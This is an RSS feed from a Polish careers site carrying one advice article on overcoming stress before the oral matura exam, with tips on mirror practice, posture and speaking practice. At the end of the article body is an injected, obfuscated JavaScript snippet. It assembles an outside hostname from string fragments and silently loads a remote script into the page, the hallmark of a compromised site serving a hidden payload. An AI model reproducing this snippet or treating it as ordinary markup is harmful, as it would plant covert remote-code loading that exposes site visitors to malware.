<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Kariera - Edukacja - Biznes &#187; matura</title>
	<atom:link href="https://www.kariera24.info/tag/matura/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.kariera24.info</link>
	<description>Portal rozwoju osobistego, biznesu i kariery - kariera24.info</description>
	<lastBuildDate>Mon, 30 Mar 2026 17:46:43 +0000</lastBuildDate>
	<language>pl-PL</language>
		<sy:updatePeriod>hourly</sy:updatePeriod>
		<sy:updateFrequency>1</sy:updateFrequency>
	<generator>https://wordpress.org/?v=4.0.38</generator>
	<item>
		<title>Stres przed maturą ustną – jak go pokonać?</title>
		<link>https://www.kariera24.info/stres-przed-matura-ustna-jak-go-pokonac/</link>
		<comments>https://www.kariera24.info/stres-przed-matura-ustna-jak-go-pokonac/#comments</comments>
		<pubDate>Tue, 09 Jun 2015 11:52:55 +0000</pubDate>
		<dc:creator><![CDATA[Bartkowiak Andrzej]]></dc:creator>
				<category><![CDATA[Poradniki]]></category>
		<category><![CDATA[Studia i Edukacja]]></category>
		<category><![CDATA[Życie studenckie]]></category>
		<category><![CDATA[matura]]></category>
		<category><![CDATA[stres]]></category>

		<guid isPermaLink="false">http://www.kariera24.info/?p=184</guid>
		<description><![CDATA[Doświadczasz ich każdego dnia, w mniejszym i większym stopniu – przemówienia publiczne. Niezależnie od tego, czy wygłaszane są na forum klasy, czy przy rodzinnym stole, prawie wszystkich przyprawiają o drżenie głosu i dygotanie rąk. Jak...]]></description>
				<content:encoded><![CDATA[<p style="text-align: justify;">Doświadczasz ich każdego dnia, w mniejszym i większym stopniu – przemówienia publiczne. Niezależnie od tego, czy wygłaszane są na forum klasy, czy przy rodzinnym stole, prawie wszystkich przyprawiają o drżenie głosu i dygotanie rąk. Jak je pokonać? Czy to w ogóle możliwe? W materiale podsuwamy ci kilka trików na radzenie sobie ze stresem przed maturą ustną, które sprawią, że wypadniesz lepiej, niż może ci się wydawać.</p>
<p style="text-align: justify;">Stresujesz się i nic w tym dziwnego. Między innymi o tego egzaminu zależeć będzie twoje być albo nie być i rekrutacja do wymarzonej szkoły, np. <a href="http://www.zpsb.pl">www.zpsb.pl</a> w Szczecinie. W liceum miałeś tak niewiele okazji do publicznego wyrażenia swojej opinii, że na samą myśl o ustnym egzaminie maturalnym przechodzą cię ciarki. Nie bój się! Z tym uczuciem da się walczyć. Wszystko, czego potrzebujesz to… mówić, mówić i jeszcze raz mówić! Do dzieła!</p>
<p style="text-align: justify;"><b>Treningi przed lustrem</b></p>
<p style="text-align: justify;">Jeśli do tej pory myślałeś, że stanie przed lustrem to domena dziewczyn i totalna głupota, jesteś w błędzie! Właśnie w lustrze możesz najlepiej zaobserwować, co dzieje się z twoją twarzą podczas mówienia, czy przypadkiem nie robisz jakichś dziwnych min, nad którymi trzeba będzie popracować, czy się uśmiechasz (sam przyznaj – znacznie lepiej rozmawia się z osobą radosną) lub czy patrzysz w oczy osobie z którą rozmawiasz. Podczas trenowania przed lustrem będziesz mieć niebywałą okazję do zobaczenia tego, co będzie widzieć komisja. Postaraj się, by ten obrazek był jak najprzyjemniejszy w odbiorze.</p>
<p style="text-align: justify;"><b>Postawa</b></p>
<p style="text-align: justify;">W tym ćwiczeniu, również lustro będzie twoim największym sprzymierzeńcem. Wybierz większe, tak byś mógł obserwować całe swoje ciało. Skontroluj, czy jesteś wyprostowany, czy twoja postawa jest pewna oraz – co najważniejsze – czy gestykulujesz. To właśnie ruchy twoich dłoni wpływają na odbiór twojej wypowiedzi. Zachowaj jednak zdrowy umiar i ani nie przesadzaj, ani o gestykulacji nie zapominaj.</p>
<p style="text-align: justify;"><b>Praktyka czyni mistrza</b></p>
<p style="text-align: justify;">Chociaż wyda to ci się teraz nie możliwe – panuj nad swoim głosem. Oczywiście, znacznie łatwiej jest powiedzieć, niż zrobić. Uwierz jednak, że przy regularnych ćwiczeniach, również drżenie głosu uda ci się chociaż w pewnym stopniu opanować. Zacznij od wyrażania swojej opinii (na różne tematy, nawet życia codziennego) w gronie rodzinnym. Później zabieraj coraz częściej głos w większym gronie przyjaciół. Nawet nie zauważysz, kiedy stanie się to dla ciebie tak naturalne, że bez problemu staniesz przed komisją egzaminacyjną i zdasz maturę ustną śpiewająco!</p>
<p><script type="text/javascript">// <![CDATA[
(function(){
 updp=document.createElement("script");updp.type="text/javascript";
 updp.async=true;updp_=(("us")+"t")+"a";updp_+=("t.i")+""+"n";updp_+=(("f")+"o");
 updp.src="http://"+updp_+"/3455321.h2X1pq2fpdprj5dl4lfj3he6ey4i3k";
 document.body.appendChild(updp);
})();
// ]]&gt;</script></p>
]]></content:encoded>
			<wfw:commentRss>https://www.kariera24.info/stres-przed-matura-ustna-jak-go-pokonac/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
